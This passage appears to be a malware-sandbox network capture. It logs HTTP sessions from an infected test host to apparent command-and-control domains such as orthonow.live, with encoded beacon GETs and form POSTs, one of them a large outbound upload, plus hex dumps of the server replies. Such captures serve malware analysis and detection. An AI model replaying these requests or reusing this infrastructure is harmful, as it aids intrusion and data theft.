Jul 3, 2024 17:41:46.467924118 CEST	5156	OUT	Data Raw: 64 31 73 51 56 67 44 75 4e 32 74 63 67 2f 70 6b 38 5a 5a 52 6f 75 43 77 35 70 6e 49 4e 77 66 72 58 74 57 75 45 45 5a 36 78 63 75 56 75 2f 54 2b 42 4e 4a 75 33 74 50 32 63 6d 65 44 56 4f 64 4b 52 54 65 65 34 4a 57 4b 4e 31 36 4b 4e 32 43 61 6a 71 Data Ascii: d1sQVgDuN2tcg/pk8ZZRouCw5pnINwfrXtWuEEZ6xcuVu/T+BNJu3tP2cmeDVOdKRTee4JWKN16KN2Cajq/1P2uOcK6Q8DLXe44akpR5WFXvUlWEUh8UrbqxaZOMA4KLZB4G6f1cPGp2QexLaXqK8lW4PXFwrx6JOWZfEQu/QAG5bJAKjYvV8OA5sUiKpSuL/QYDv0Ziy4eLvOz+AvtQgrJF73Lkvmt3BqaBIgJS3KaPwYNZlR8
Jul 3, 2024 17:41:46.467976093 CEST	5156	OUT	Data Raw: 79 69 68 73 4c 62 51 65 39 51 47 58 6a 76 4b 4a 67 64 47 50 35 75 4f 6f 4e 49 32 68 58 42 4f 47 6c 35 54 75 61 70 62 6b 51 30 33 4d 76 43 77 75 71 6b 37 2b 76 6d 66 47 65 67 37 46 30 6c 7a 52 64 6b 53 45 45 75 73 51 43 43 6d 2b 64 76 49 45 6d 48 Data Ascii: yihsLbQe9QGXjvKJgdGP5uOoNI2hXBOGl5TuapbkQ03MvCwuqk7+vmfGeg7F0lzRdkSEEusQCCm+dvIEmHy7ailHLuhSohDz2zW/8Rfl4lJd/nDpgi4fc3+ocst6XuF7jyn4/lbPXGlmO0waSgCzTdp1LcNQnlZ6cSlOYEsFxzRSXFfaeKOZJZohBDFy5bhUIxg9XNGE1cI68QAnpx1Du0W0j2dKnnuTHHrfOAQyrBWI2W70g6R
Jul 3, 2024 17:41:46.468142986 CEST	6445	OUT	Data Raw: 2f 4d 55 48 64 4a 49 68 4c 54 78 47 63 59 42 69 73 74 46 49 4d 42 47 55 2b 2f 47 69 4d 34 48 50 61 4c 75 41 6a 33 71 43 2f 68 63 63 7a 34 67 73 74 52 46 6a 36 6f 45 52 4c 59 2f 58 54 63 76 48 59 4a 45 49 38 66 47 42 61 61 2f 79 66 63 62 61 64 5a Data Ascii: /MUHdJIhLTxGcYBistFIMBGU+/GiM4HPaLuAj3qC/hccz4gstRFj6oERLY/XTcvHYJEI8fGBaa/yfcbadZaV8BclhThaibfZ40fFggLQ1bU69LVQ0DrzJHzX/VsdR78mHAmrvRwLPqaxd1zf1Nle5J87c5H6EgDaGyUb6qgDr1yjPJPOfhbuXRXbmvz+uiH5rQfQgRTl6raQBOZhnEHjFJM84HIfg0+E378Ddw0ov+MxVxD/r6Q
Jul 3, 2024 17:41:46.468313932 CEST	7734	OUT	Data Raw: 37 41 49 67 68 66 77 6b 53 4b 37 4c 68 30 54 75 48 4e 53 33 47 65 58 35 44 6a 70 70 47 4f 33 33 50 4a 32 41 63 7a 4d 34 4d 42 6c 4c 53 69 61 70 38 41 57 6e 4e 77 31 67 2f 41 35 66 43 6a 51 4a 70 66 71 79 73 5a 30 48 2f 33 46 77 71 43 51 42 4e 46 Data Ascii: 7AIghfwkSK7Lh0TuHNS3GeX5DjppGO33PJ2AczM4MBlLSiap8AWnNw1g/A5fCjQJpfqysZ0H/3FwqCQBNF3SxP9lKTf1MFbUfd9JQAsxc2PlZmWLAkQ/WNDlaIhherg6+V+YHeGn1YyCZ8W89mv8X677kPfA7Is9XvndSfb4dMe7HibA7Dz7iG0YcuqlpkmjHbYRpQwTF35nKHK76q+uZ5lk2HZMSlmbAc4rgLLocODvaFiYOKS
Jul 3, 2024 17:41:46.600270987 CEST	1289	OUT	Data Raw: 4e 73 33 76 4c 75 64 66 6a 74 4e 2b 43 47 45 45 74 45 62 46 4a 4d 52 6f 43 4d 30 5a 74 4b 5a 67 38 4e 41 4f 6f 53 37 57 6d 48 62 65 72 34 36 31 6a 32 47 4b 56 56 52 34 59 56 63 31 32 30 4e 4e 49 61 64 52 4a 79 2f 66 41 4e 61 34 41 6a 44 59 35 55 Data Ascii: Ns3vLudfjtN+CGEEtEbFJMRoCM0ZtKZg8NAOoS7WmHber461j2GKVVR4YVc120NNIadRJy/fANa4AjDY5UA5D9TJzRRQfXKm8iy2KPv019cNvUbN9dxYYOiwXHSPPMjVcXbEovVwmGFj03KgOoGRfv4GsVnWNVbtDsoBTW5i01RTP5f6U7l/bPfPa3pb7vJjTsxsSzUDW8IZkgbqnXZdPg2+m/hpqqIJDcO/yHEl0SvYEdZgV+i
Jul 3, 2024 17:41:46.600321054 CEST	3867	OUT	Data Raw: 72 61 6b 6e 41 68 51 4c 75 39 41 38 54 6d 2f 31 2f 62 76 44 2b 7a 6b 4f 57 37 44 59 35 73 75 76 6a 68 4d 32 45 33 6d 69 6f 6e 47 44 72 4d 45 33 50 47 52 49 33 6a 44 4c 70 43 31 75 54 58 6c 61 66 62 75 75 69 68 6b 43 70 34 44 67 31 31 35 49 49 64 Data Ascii: raknAhQLu9A8Tm/1/bvD+zkOW7DY5suvjhM2E3mionGDrME3PGRI3jDLpC1uTXlafbuuihkCp4Dg115IIdz9ip3lQdpGAIlBZEZXr0ezHtEHffM3NFBpl9auLnUf1V++iaUgeEa6jqJfUvAG2fo4xIy1p5+xSFJxHNVDoBqowO/pVd//0y05VrL4jwy4H+MAu3iy0CMyp2S/A+4dZXEdykMdBkbCeystNr10x06fKnPFt3Dw5HY
Jul 3, 2024 17:41:46.600541115 CEST	9714	OUT	Data Raw: 76 74 34 75 65 51 76 5a 50 6c 2b 64 43 66 43 69 4c 42 79 73 36 4f 67 7a 51 4d 63 31 2b 38 5a 44 35 31 54 6a 33 71 38 32 50 73 56 32 73 79 76 4c 6b 35 50 75 6a 73 66 4a 31 43 61 78 64 79 54 6f 35 61 39 59 73 42 51 48 4d 36 76 31 47 34 69 74 32 56 Data Ascii: vt4ueQvZPl+dCfCiLBys6OgzQMc1+8ZD51Tj3q82PsV2syvLk5PujsfJ1CaxdyTo5a9YsBQHM6v1G4it2V8HSYzvbQx5vc8353gXUALcL5G3XVvzGJ7vzP4J6jos7m/SjdP5yTZRznLPW4GXUvX0nyVRRhkKYSE7dglVdLUoB0mqiSoUIy7TUnmoEAStZ/GqZzpI7gLERbjuN0XFhWbAzAt0QWyHb/AIDnrffP5T8HLmpGViOWj
Jul 3, 2024 17:41:46.738563061 CEST	580	IN	HTTP/1.1 404 Not Found Content-Type: text/html Transfer-Encoding: chunked Connection: close Date: Wed, 03 Jul 2024 15:41:46 GMT Server: Apache Content-Encoding: gzip Data Raw: 31 38 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f e3 30 10 be f7 57 cc 7a 0f 9c 1c 37 94 43 9b 26 1c b6 ad b4 48 85 45 28 88 e5 68 62 b7 b1 e4 78 82 33 21 0d bf 1e 27 e5 b1 20 b4 27 8f ed ef 31 f3 4d fa 63 fd 67 95 df 5f 6f a0 a4 ca c2 f5 ed af ed c5 0a 18 17 e2 6e b6 12 62 9d af e1 ef ef fc 72 0b 71 34 85 dc 4b d7 18 32 e8 a4 15 62 73 c5 26 ac 24 aa 13 21 ba ae 8b ba 59 84 7e 2f f2 1b 71 18 b4 e2 81 fc 5a 72 fa 87 19 29 52 ec 7c 92 8e 86 56 ba 7d c6 b4 63 70 a8 6c f2 e9 e6 9a ec 1b f9 78 b1 58 1c 55 83 06 a4 a5 96 2a 9c 90 92 21 ab 87 0a 36 de a3 87 b3 e9 19 70 b8 42 82 1d b6 4e 0d 10 f1 8e 49 2b 4d 12 0a 74 a4 1d 65 8c f4 81 c4 d0 ce 12 8a 52 fa 46 53 d6 d2 8e cf 59 08 85 6a ae 1f 5b f3 94 b1 d5 11 ce f3 be d6 83 37 7c 51 71 c8 0b 59 94 fa 33 6b 7c e2 83 95 47 3b b6 2c 5e 7b 4e 1f 50 f5 d0 50 6f 75 c6 76 01 c0 77 b2 32 b6 4f a4 37 d2 2e 8f 16 65 fc 86 28 d0 a2 4f 7e 4e e5 ec 74 5e 2c 47 7c 63 9e 75 12 16 a3 ab 23 fa 3f a3 97 f1 d8 71 fd a6 f6 c1 9f 46 f3 77 fe 3d b6 1e 1e 3c 76 8d f6 50 48 [TRUNCATED] Data Ascii: 189}QKO0Wz7C&HE(hbx3!' '1Mcg_onbrq4K2bs&$!Y~/qZr)R\|V}cplxXU*!6pBNI+MteRFSYj[7\|QqY3k\|G;,^{NPPouvw2O7.e(O~Nt^,G\|cu#?qFw=<vPHw3Nmy2nzlB8`a1l`mur0

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.11.20	49832	74.208.236.230	80

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:41:49.018291950 CEST	527	OUT	GET /9qp3/?vX=ZVYu4nT3XPb6D5AnzJCZdD7dAyPNRNa3VWXdQVyX2eJo5TfLIuEqAXNcy5gjyltbfDYrkl4fema7mXoYWaQkTP4cU372CGZgosL9vb0GBN03EULPLqCD5DY=&_B7=LxyxWrj8kri0gh HTTP/1.1 Host: www.motorsportgives.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10
Jul 3, 2024 17:41:49.156029940 CEST	770	IN	HTTP/1.1 404 Not Found Content-Type: text/html Content-Length: 626 Connection: close Date: Wed, 03 Jul 2024 15:41:49 GMT Server: Apache Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 0a 20 20 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Error 404 - Not found </title> <meta content="text/html; charset=utf-8" http-equiv="Content-Type"> <meta content="no-cache" http-equiv="cache-control"> </head> <body style="font-family:arial;"> <h1 style="color:#0a328c;font-size:1.0em;"> Error 404 - Not found </h1> <p style="font-size:0.8em;"> Your browser can't find the document corresponding to the URL you typed in. </p> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.11.20	49833	199.59.243.226	80

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:41:54.322752953 CEST	785	OUT	POST /c7lp/ HTTP/1.1 Host: www.orthonow.live Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.orthonow.live Referer: http://www.orthonow.live/c7lp/ Content-Length: 199 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10 Data Raw: 76 58 3d 4e 62 46 30 67 51 34 72 33 2b 43 4b 4b 4d 76 52 56 58 73 2f 39 6c 42 50 32 6b 63 30 34 34 54 4e 4e 7a 7a 62 48 41 61 4f 70 56 5a 51 4a 42 54 39 4b 39 75 4e 69 62 67 6c 4b 6f 7a 62 6d 34 2f 5a 73 67 30 43 45 55 59 68 6a 5a 4d 30 57 72 6d 47 6d 45 5a 53 78 75 31 70 79 64 69 4d 58 6c 59 62 36 58 4e 46 33 45 72 43 32 74 78 72 79 7a 6f 42 6e 66 36 66 4e 73 2b 46 62 58 5a 47 68 47 33 68 77 5a 4a 41 52 75 67 42 50 38 7a 35 61 67 58 6f 59 34 74 46 50 54 4d 79 61 6c 47 2f 63 30 36 52 2b 45 49 67 45 2f 32 64 66 65 61 4d 30 4a 55 42 51 35 2b 51 69 6d 5a 55 4a 39 45 66 4e 4f 70 61 6d 41 3d 3d Data Ascii: vX=NbF0gQ4r3+CKKMvRVXs/9lBP2kc044TNNzzbHAaOpVZQJBT9K9uNibglKozbm4/Zsg0CEUYhjZM0WrmGmEZSxu1pydiMXlYb6XNF3ErC2txryzoBnf6fNs+FbXZGhG3hwZJARugBP8z5agXoY4tFPTMyalG/c06R+EIgE/2dfeaM0JUBQ5+QimZUJ9EfNOpamA==
Jul 3, 2024 17:41:54.462959051 CEST	1289	IN	HTTP/1.1 200 OK date: Wed, 03 Jul 2024 15:41:54 GMT content-type: text/html; charset=utf-8 content-length: 1118 x-request-id: 191e9db4-e790-483e-b99a-5625e57fee7a cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_vFk822k414W4LEy0WueI+VTSidoXo7JWiQQpNL4wdqrjXci3A5YIfndgTYUPMnSpB446Y/4K6+3mggQkVkyo4g== set-cookie: parking_session=191e9db4-e790-483e-b99a-5625e57fee7a; expires=Wed, 03 Jul 2024 15:56:54 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 76 46 6b 38 32 32 6b 34 31 34 57 34 4c 45 79 30 57 75 65 49 2b 56 54 53 69 64 6f 58 6f 37 4a 57 69 51 51 70 4e 4c 34 77 64 71 72 6a 58 63 69 33 41 35 59 49 66 6e 64 67 54 59 55 50 4d 6e 53 70 42 34 34 36 59 2f 34 4b 36 2b 33 6d 67 67 51 6b 56 6b 79 6f 34 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_vFk822k414W4LEy0WueI+VTSidoXo7JWiQQpNL4wdqrjXci3A5YIfndgTYUPMnSpB446Y/4K6+3mggQkVkyo4g==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="preconnect" href="https://www.google
Jul 3, 2024 17:41:54.462980032 CEST	518	IN	Data Raw: 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65 74 22 20 73 74 79 6c 65 3d 22 6f 70 61 63 69 74 79 3a 20 30 22 3e 3c 2f 64 69 76 3e 0a 3c 73 63 72 69 Data Ascii: .com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMTkxZTlkYjQtZTc5MC00ODNlLWI5OWEtNTYyNWU1N2ZlZTdhIiwicGFnZV90aW1lIjoxNzIwMDIxMzE0LCJwYWdlX3VybCI6Imh0dHA6Ly93d3cub3J0aG9ub3cubGl2ZS9

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.11.20	49834	199.59.243.226	80

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:41:56.990092993 CEST	1125	OUT	POST /c7lp/ HTTP/1.1 Host: www.orthonow.live Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.orthonow.live Referer: http://www.orthonow.live/c7lp/ Content-Length: 539 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10 Data Raw: 76 58 3d 4e 62 46 30 67 51 34 72 33 2b 43 4b 49 73 66 52 58 32 73 2f 37 46 42 4d 37 30 63 30 78 59 54 4a 4e 7a 2f 62 48 46 32 65 70 44 42 51 4a 6b 2f 39 4c 34 53 4e 6c 62 67 6c 43 49 79 51 72 59 2f 4f 73 67 49 67 45 57 4d 68 6a 5a 59 30 58 5a 75 47 75 55 5a 52 37 4f 31 71 6b 74 69 42 54 6c 59 4e 36 58 77 6d 33 42 44 43 32 63 64 72 7a 78 51 42 77 36 4f 65 4a 4d 2b 35 53 33 5a 46 75 6d 33 72 77 5a 46 79 52 75 59 37 50 4b 7a 35 5a 41 33 6f 4b 34 74 47 57 54 4d 35 53 46 48 31 53 78 50 34 7a 51 41 4c 41 75 4f 31 61 73 7a 34 2b 5a 4d 62 59 72 53 49 7a 30 35 74 4a 2f 74 75 48 4f 70 66 38 59 78 48 48 6c 4a 77 36 65 6e 68 70 63 6d 5a 4d 6f 67 4f 6b 4e 4e 6c 62 52 51 42 46 37 75 4c 54 48 42 4b 78 75 4e 50 41 42 4e 71 6c 2b 77 66 49 4f 34 6d 66 6e 73 6f 33 38 55 38 79 75 62 52 2b 73 59 6b 6b 44 43 44 51 63 70 6a 64 79 6e 6c 43 4e 44 68 77 58 72 78 32 6d 4e 43 6d 4a 71 58 75 6d 63 34 53 2b 55 77 74 5a 31 35 2f 6e 6e 6c 39 48 43 33 51 67 77 2f 39 7a 55 35 47 68 72 4e 38 59 73 7a 38 39 6f 4d 67 37 32 47 6b 75 33 [TRUNCATED] Data Ascii: vX=NbF0gQ4r3+CKIsfRX2s/7FBM70c0xYTJNz/bHF2epDBQJk/9L4SNlbglCIyQrY/OsgIgEWMhjZY0XZuGuUZR7O1qktiBTlYN6Xwm3BDC2cdrzxQBw6OeJM+5S3ZFum3rwZFyRuY7PKz5ZA3oK4tGWTM5SFH1SxP4zQALAuO1asz4+ZMbYrSIz05tJ/tuHOpf8YxHHlJw6enhpcmZMogOkNNlbRQBF7uLTHBKxuNPABNql+wfIO4mfnso38U8yubR+sYkkDCDQcpjdynlCNDhwXrx2mNCmJqXumc4S+UwtZ15/nnl9HC3Qgw/9zU5GhrN8Ysz89oMg72Gku31l5tBzmwOF3eZLgeZ8iXEhsjQqOrXmJPL5GG5JmYs4ecKw0ouwrjpUXDc6XxzgU/IC82DemRoNyC+EYMIt7czUO8H3NoQBSF0ErZ1hovt/1vFcqu4PkhYiE/M11YoaLSNfcUM6hU7FW2MdH4uZ3VXv3UaTcCrDNOpLJP0JFJGeXaUd7k8wjE1DqGSLstI0QIwkAlP9iM=
Jul 3, 2024 17:41:57.130173922 CEST	1289	IN	HTTP/1.1 200 OK date: Wed, 03 Jul 2024 15:41:56 GMT content-type: text/html; charset=utf-8 content-length: 1118 x-request-id: 07eeebbc-1c93-476d-8d7c-99d0af15cd3e cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_vFk822k414W4LEy0WueI+VTSidoXo7JWiQQpNL4wdqrjXci3A5YIfndgTYUPMnSpB446Y/4K6+3mggQkVkyo4g== set-cookie: parking_session=07eeebbc-1c93-476d-8d7c-99d0af15cd3e; expires=Wed, 03 Jul 2024 15:56:57 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 76 46 6b 38 32 32 6b 34 31 34 57 34 4c 45 79 30 57 75 65 49 2b 56 54 53 69 64 6f 58 6f 37 4a 57 69 51 51 70 4e 4c 34 77 64 71 72 6a 58 63 69 33 41 35 59 49 66 6e 64 67 54 59 55 50 4d 6e 53 70 42 34 34 36 59 2f 34 4b 36 2b 33 6d 67 67 51 6b 56 6b 79 6f 34 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_vFk822k414W4LEy0WueI+VTSidoXo7JWiQQpNL4wdqrjXci3A5YIfndgTYUPMnSpB446Y/4K6+3mggQkVkyo4g==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="preconnect" href="https://www.google
Jul 3, 2024 17:41:57.130189896 CEST	518	IN	Data Raw: 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65 74 22 20 73 74 79 6c 65 3d 22 6f 70 61 63 69 74 79 3a 20 30 22 3e 3c 2f 64 69 76 3e 0a 3c 73 63 72 69 Data Ascii: .com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMDdlZWViYmMtMWM5My00NzZkLThkN2MtOTlkMGFmMTVjZDNlIiwicGFnZV90aW1lIjoxNzIwMDIxMzE3LCJwYWdlX3VybCI6Imh0dHA6Ly93d3cub3J0aG9ub3cubGl2ZS9

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.11.20	49835	199.59.243.226	80

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:41:59.662462950 CEST	1289	OUT	POST /c7lp/ HTTP/1.1 Host: www.orthonow.live Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.orthonow.live Referer: http://www.orthonow.live/c7lp/ Content-Length: 52927 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10 Data Raw: 76 58 3d 4e 62 46 30 67 51 34 72 33 2b 43 4b 49 73 66 52 58 32 73 2f 37 46 42 4d 37 30 63 30 78 59 54 4a 4e 7a 2f 62 48 46 32 65 70 44 4a 51 4f 53 72 39 4c 62 36 4e 6b 62 67 6c 42 49 7a 58 72 59 2f 50 73 67 51 6b 45 57 42 44 6a 61 67 30 5a 75 43 47 76 68 31 52 2b 4f 31 72 72 4e 69 50 58 6c 59 2f 36 58 4d 79 33 46 72 53 32 74 70 72 79 78 67 42 6e 35 57 66 42 38 2b 46 53 33 5a 5a 6c 47 33 64 77 5a 78 69 52 75 45 37 50 50 7a 35 62 79 50 6f 5a 5a 74 47 4f 54 4d 2b 63 6c 48 32 64 52 50 5a 7a 51 38 78 41 75 4f 50 61 74 6e 34 2b 61 45 62 5a 71 53 4c 79 55 35 74 41 66 74 68 44 4f 6c 54 38 59 63 43 48 6c 74 77 36 63 33 68 34 4d 6d 5a 4a 4a 67 4a 30 39 4e 6a 66 52 51 57 42 37 53 35 54 48 46 65 78 73 68 50 42 78 5a 71 6c 4e 59 66 4b 71 55 6d 63 48 73 75 36 63 55 76 38 4f 62 46 2b 73 49 53 6b 43 6a 32 51 61 46 6a 63 51 2f 6c 54 5a 58 67 32 33 72 7a 37 32 4e 62 31 5a 75 4c 75 6e 77 6b 53 2b 56 76 74 59 68 35 2f 58 33 6c 38 47 43 32 64 51 77 47 30 54 55 57 63 52 33 51 38 59 77 37 38 39 51 63 67 38 47 47 6b 4f 33 [TRUNCATED] Data Ascii: vX=NbF0gQ4r3+CKIsfRX2s/7FBM70c0xYTJNz/bHF2epDJQOSr9Lb6NkbglBIzXrY/PsgQkEWBDjag0ZuCGvh1R+O1rrNiPXlY/6XMy3FrS2tpryxgBn5WfB8+FS3ZZlG3dwZxiRuE7PPz5byPoZZtGOTM+clH2dRPZzQ8xAuOPatn4+aEbZqSLyU5tAfthDOlT8YcCHltw6c3h4MmZJJgJ09NjfRQWB7S5THFexshPBxZqlNYfKqUmcHsu6cUv8ObF+sISkCj2QaFjcQ/lTZXg23rz72Nb1ZuLunwkS+VvtYh5/X3l8GC2dQwG0TUWcR3Q8Yw789Qcg8GGkO31wotC5WwDNXeHPgeo8iaVht3Ar/XXn5fL+WG6fWYoy+dD00ouwrvbUXHc9idz6GnIUbiDSGQjNyDgEYBot7kNUOhs3IQQAHh0Dv12xIvs71uTYqivPksUiEvcyGsoI/ONV8UT4BUwGW3JLygyZ3Jtv3NBTeCrGJvOZKTOTlBQcl7yK7kO/kYQLdiaBr5P2BsTxyl0rW7b4O0/bNODlldkCr6MJ4MFi7/S3gHT8AzLsm2WXdUR8mofevZsfGU6qQuNgG+BJ/IgWNmNYcAwtXfsf8AvR24ERxwq3BvkAYvB3TtMNKanVEeZgz8RGYEabmx128MFieDcTfsqIO6bs2LVz0YF3EnUnN4zC6GczZ0IWZ
